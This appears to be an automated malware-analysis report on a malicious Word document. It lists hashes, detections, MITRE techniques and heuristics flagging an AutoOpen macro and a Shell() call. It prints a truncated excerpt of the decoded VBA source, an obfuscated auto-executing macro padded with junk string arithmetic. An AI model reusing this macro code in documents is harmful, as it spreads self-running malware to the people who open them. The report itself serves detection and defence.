Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4215fc747eb0471d…

MALICIOUS

Office (OLE)

120.2 KB Created: 2018-09-28 13:28:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 5768bb03e9699012080fece1faad7fdd SHA-1: 6498c8cc89e179cb9f77fec8916f1f497bfd0172 SHA-256: 4215fc747eb0471d310ed5a0e9db26087a9311878d12170ab6a045ecdd2e3269
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and the 'Shell()' function is called, indicating an attempt to execute arbitrary commands. The macro is heavily obfuscated, making it difficult to determine the exact payload, but the presence of the Shell() call is a critical indicator of malicious intent. No specific family could be identified due to the obfuscation and lack of clear indicators.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6700450-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6700450-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 61035 bytes
SHA-256: 876109fb5f40e1d15faa1c295602bab3b64187aff9242bd38487380c809bddbc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YlzUkLOBltvZR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim jCIGKQ(2)
jCIGKQ(0) = InStr(rpdlsU + VVVboOzkSiIjrDvFVfoJw + uZSOW, uOvhMr + KVrmdzlvzzPAMWHiTXi + RoldIBZD) + InStr(USRMqa + XOZzUEiiFMBjjUpwVdtat + VNuJREX, IXUTh + pTrikoXrBdZLjRkjUoBo + zZqXAVP) + InStrRev(EGBwz + XRPazYcUCjzalnfiPdzrfNz + hiVlCa, YifYwWh + SzRQbTrRQXakQDnMjzvz + GzZOS) + InStrRev(stvApI + iZkKtoVhHsRoWzzM + RzwJFi, zbuhBC + pbuSiGaXzaEYBkrNblAna + jjwBT)
jCIGKQ(1) = InStr(MJWSCp + YmHHlswizJpwYpnTJacWiL + rWdhB, NNjTMMm + DJZUnUiwQPRwQdvFMVPIAL + HAHMWbc) + InStr(mTYXni + ZTQzCXOhlinBYIbwaEtpTz + iHiYq, bsudEc + oqwiTNKiMjYjfizOkZzNnXi + hPXVhZ) + InStr(USpvTKDM + pvOwcKOIpdLHoOPoKrHbf + ETRPvAd, BBkmMHYT + JKAiYwXAAiUjUuqquciczP + ccCSnMJ) + InStrRev(DptTGc + HjSQrGNdUtbhBOMvwiuH + XCFzX, FwsiZNlV + KrPqpCaAuhivMOTEHkGht + JfGFaZJ)
   Dim kIciQ(1)
kIciQ(0) = InStr(jJsfmz + qRzToFSMhEBMzBEbNQijvp + QjPpdl, HkECA + PzMfMjVlhYvhBiOf + zraPK) + InStrRev(npCavtOl + NtILiEqpAZoUQRSG + BtNivf, SzwRUBmt + kWZUnTQOGicwuLAudj + qXCdQ)
   Dim CWpip(2)
CWpip(0) = InStrRev(GmVqVRiT + MPoNSwQLLwnRcAwdrv + zToFZ, MiFfrvj + YsRdmBStKKQlpwHotd + EazQim) + InStrRev(bOMFwdk + BUMOBUasYtovsGjVmlkiI + CZkJdNl, JfICGZXk + vfVFYdRhNQlEnSSnvfDF + AMJwNNzV) + InStrRev(DjTLfLj + cXbUkoYzRLraVRHkVzQ + HPljvHjz, XZZsZIp + DFocLoOEvjHoMUD + piLqwz) + InStrRev(YhcjCOMh + ZWHsfEUwRlfFFMVuziOa + WTAawuGt, VNwDHWz + NtcWibrnVILCIlTYP + lXbbNPS)
CWpip(1) = InStr(idIcvuw + uCTYYSawuVCbVviIHNmZztii + GNoBYUUK, JARVXRZC + tnpBKmdTiuknhhAC + YvFlGvQ) + InStr(UbaYvTY + mLqqiEYMiqjYzVsjPDrs + KSJPLTI, QpkhM + ukhLwbUlaboYoOFYmPw + hqPjQC)
   Dim QJKhzi(2)
QJKhzi(0) = InStrRev(tSaCfK + RQhADKWUtvHvTwcIjDl + Aknavjd, GJIbzj + qbGicaZKEDBzvDATWv + PaipJw) + InStrRev(vCvNK + XJOPqbaTLizYzNjBqIulP + DHzBi, JdJIji + GGifBVDiEvIHmcDfYTUZcJ + UDbLjD) + InStr(oHkKp + jzmMFXmKcCZjBWRGii + LEGknQNs, tocpzi + RRihiiIGOsjRDbHwmNVw + CczDLZ) + InStrRev(PMaKia + fKzzGFwZOpjEGwTcBREvpF + iPtzh, hLzjGw + iwjGKJQFKwaDaumDPj + IKmYkX)
QJKhzi(1) = InStr(fXSaw + JtSJhmivHwnpUswfbwXl + wzSDkAQ, dKwawiZO + okZsnIcSiClbloPsiGf + qiSpzBBi) + InStrRev(qwWFfu + watsCJNpJWsKJCEqOcR + kozdPj, zijHBwfJ + LrLHJjwDaESvhwZLWwFZZ + cuiDZhY)
   Dim rUwWk(1)
rUwWk(0) = InStrRev(iGNuQjp + SaMzWGkNwMiZBsmllj + jnKlZjc, wMEajbB + ZIlQrJFjYtDGCcJLULslN + NwNbRlA) + InStrRev(zpTwB + zErfrJubRpRYhnGwILI + DEvKJ, KoLujV + DBmUAwidbRfpFXzjcmOkRz + cMnrCqN) + InStrRev(ZoGLU + jsdXFRFimUGpWwRFRl + pcMPOB, HMrAZT + LphIQVDpFRKJlzdou + IDrON) + InStrRev(QuDQstbD + UWIZIkjdCFBvfljKRBHMFYL + BVhhYfUY, ATKlVrr + YiLjvZJzKDBzWWUYcPKM + jJGPmUN)
   Dim hidhzh(1)
hidhzh(0) = InStr(vuZzIkU + zzFNGCcpjPzvZAmLpjn + zbQTz, cDERmXba + EHzfkzYXIwJGaJaiWjcho + rEzCYLTO) + InStrRev(ZfOcrfb + TzdHMcNvrbZJspoVjmpr + APzCiEA, TwNwmZLP + AGQmZUqGQKdFLNNtrnb + ZquWBv)
KcdntUrAUBH (KeyString(XXzVOqj + dfRrVpBQ + 20 + 8 + 39 + pmwQjIP + kqnLbYGE) + jDiuB + KPViB + KeyString(dzuZHPNz + UDqTpTO + 23 + 9 + 45 + HjXKs + fzzMOj) + ziwiPvuGz + brZfl + HQucUA + PqlmHOiH + aCzYJwX)
   Dim Awtnz(2)
Awtnz(0) = InStrRev(lwMJIfa + jLMwsvzspTMUzKAiJlM + WzAWNzX, JcwvmK + wvHAWJCrziwjjfatvfj + nqSTVE) + InStrRev(YMoRljzp + DBsjpaFPLQJRMCjrjWF + XTuGfwaE, jraEA + ooMZPvOwUTzOIDMVfzBQ + MQjLP) + InStrRev(wViQNPI + rjdGGjhPWsiMOmMDivDhN + taiOoEwN, mdFcYw + PBmGvslCuWoCQqSzAi + wGVkwHa) + InStr(GozmMmip + zCrTPWLmGzwKbTnHmvipZh + fvDnKW, fHnFOnJn + KdWTZmEhqUNRmBDfSpZOmof + tzlrpc)
Awtnz(1) = InStrRev(wMWRjcf + SpAELHEjIlOtajorFd + PQGSfRjM, RWpLQ + imIUlWMhrzooArunEobmzv + SIDOT) + InStrRev(aqOViuul + kYFIabpcdDCALYuYacfh + BffGtK, LNXlwr + nrdvXpwkdAMErQjZvJU + zdpwBI) + InStrRev(rMpoD + LciWPrzNJjSlETIL + AFvbJwUP, nWhOSa + IIjbpUGjGIVfsKXmuF + hDsszj) + InStrRev(dUpCnO + apDOOHkvZZDvoEmwXwcnaf + ApqJtlH, BzHaQ + aGAXpQcFPATwBbcmuFPj + czLziYHn)
   Dim jNRPAO(1)
jNRPAO(0) = InStrRev(haqpr + XlliQ
... (truncated)

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